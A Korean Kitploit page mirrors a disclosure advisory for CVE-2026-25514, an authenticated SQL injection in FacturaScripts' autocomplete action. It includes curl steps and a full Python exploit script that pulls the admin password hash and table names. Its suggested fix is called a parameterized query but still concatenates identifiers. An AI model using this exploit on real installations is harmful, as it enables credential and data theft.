Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts의 자동 완성 작업에 SQL 인젝션 취약점이 존재합니다 | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-25514
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts의 자동 완성 작업에 SQL 인젝션 취약점이 존재합니다

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-25514: FacturaScripts 자동완성(Autocomplete) 기능의 SQL 인젝션 취약점

개요

필드세부 정보
CVE IDCVE-2026-25514
심각도높음(HIGH)
보안 권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • facturascripts/facturascripts (버전: < 2025.81)

CWE 분류

  • CWE-20: 잘못된 입력 검증(Improper Input Validation)
  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')
  • CWE-943: 데이터 쿼리 로직에서 특수 요소의 부적절한 중화

세부 정보

요약

FacturaScripts의 자동완성 기능에는 데이터베이스에서 사용자 자격 증명, 구성 설정 및 모든 저장된 비즈니스 데이터를 포함한 민감한 데이터를 추출할 수 있는 심각한 SQL 인젝션 취약점이 존재합니다. 이 취약점은 CodeModel::all() 메서드에서 사용자 제공 매개변수가 검증이나 매개변수화된 바인딩 없이 SQL 쿼리에 직접 연결(concatenation)되는 데서 발생합니다.


상세 내용

FacturaScripts의 여러 컨트롤러(CopyModel, ListController, PanelController)는 사용자 입력을 CodeModel::search() 또는 CodeModel::all() 메서드를 통해 처리하는 자동완성 작업을 구현합니다. 이러한 메서드는 사용자 제어 매개변수를 검증이나 이스케이프 없이 SQL 쿼리에 직접 연결하여 쿼리를 구성합니다.

취약 코드 위치

파일: /Core/Model/CodeModel.php 메서드: all() 라인: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

취약 매개변수

다음 매개변수는 SQL 인젝션에 취약합니다:

  1. source → $tableName에 매핑 - 테이블 이름 인젝션
  2. fieldcode → $fieldCode에 매핑 - 컬럼 이름 인젝션
  3. fieldtitle → $fieldDescription에 매핑 - 컬럼 이름 인젝션(주요 공격 벡터)

공격 흐름

  1. 공격자는 유효한 자격 증명으로 인증합니다(모든 사용자 역할)
  2. 공격자는 action=autocomplete와 함께 POST 요청을 /CopyModel로 전송합니다
  3. 악성 SQL 함수/쿼리가 fieldtitle 매개변수를 통해 주입됩니다
  4. 애플리케이션이 주입된 SQL을 실행하고 결과를 JSON 형식으로 반환합니다
  5. 공격자가 데이터베이스에서 민감한 데이터를 추출합니다

개념 증명(PoC)

사전 요구 사항

  • 유효한 인증 자격 증명(테스트 인스턴스의 admin/admin)
  • FacturaScripts 웹 인터페이스에 대한 접근 권한

단계별 수동 익스플로잇(CLI)

FacturaScripts는 MultiRequestProtection을 사용하므로 모든 POST 요청에 유효한 multireqtoken이 필요합니다.

1. 초기 토큰 및 세션 쿠키 획득: FacturaScripts는 /를 /login으로 리디렉션하므로 -L로 리디렉션을 따르고 -c로 세션 쿠키를 저장합니다.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. 인증(로그인): 저장된 쿠키와 토큰을 사용하여 로그인합니다.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. 데이터베이스 버전 추출: 다음 요청을 위한 새 토큰을 얻고 인젝션을 실행합니다.

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. 데이터베이스 사용자 및 이름 추출:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. 관리자 비밀번호 해시 추출:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

자동화 익스플로잇 스크립트

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
이미지

영향

이 SQL 인젝션 취약점은 **치명적(CRITICAL)**인 영향을 미칩니다:

데이터 기밀성

  • 전체 데이터베이스 노출 - 공격자는 다음을 포함한 모든 데이터를 추출할 수 있습니다:
    • 사용자 자격 증명(비밀번호 해시)
    • 고객 정보(이름, 주소, 납세자 ID 등)
    • 재무 기록(인보이스, 결제, 은행 정보)
    • 비즈니스 로직 및 구성 데이터
    • 플러그인 및 시스템 설정

영향받는 대상

  • 취약한 버전을 실행하는 모든 FacturaScripts 설치 환경
  • 모든 인증된 사용자가 악용 가능(관리자만이 아님)
  • 회계/인보이스 발행에 FacturaScripts를 사용하는 기업
  • 시스템에 데이터가 저장된 고객

권장 수정 사항

즉시 조치

옵션 1: 준비된 문(Prepared Statements) 사용

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

크레딧

발견자: Łukasz Rybak

참고 자료

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

고지 사항

이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드